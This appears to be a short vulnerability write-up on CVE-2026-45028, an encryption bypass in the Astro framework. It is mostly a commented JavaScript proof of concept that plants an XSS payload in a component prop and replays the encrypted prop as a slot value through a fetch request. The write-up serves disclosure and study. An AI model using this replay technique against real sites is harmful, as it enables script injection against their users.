CVE-2026-45028 Astro框架加密绕过致XSS漏洞

// Conceptual Proof of Concept for CVE-2026-45028 // Attacker scenario: Replaying an encrypted 'prop' as a 'slot' to trigger XSS. // 1. Assume the attacker controls the 'data' prop in 'ComponentA'. // They inject a malicious payload: var maliciousPayload = "<img src=x onerror=alert('XSS')>"; // 2. The server encrypts this payload for 'ComponentA' props (p). // Attacker intercepts the response (e.g., via Burp Suite or browser DevTools). // Example captured encrypted value (Base64): var interceptedEncryptedValue = "AQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyA..."; // 3. Attacker sends a request to 'ComponentB', which has a slot (s) // with the same key name 'data'. // The attacker replays the intercepted value as the slot input. fetch('/api/component-b-render', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ // Replaying the prop ciphertext as a slot ciphertext s: interceptedEncryptedValue }) }).then(response => response.text()) .then(html => { // 4. If vulnerable, the server renders the HTML containing the unescaped script. console.log("Vulnerable if alert appears in rendered HTML:", html); });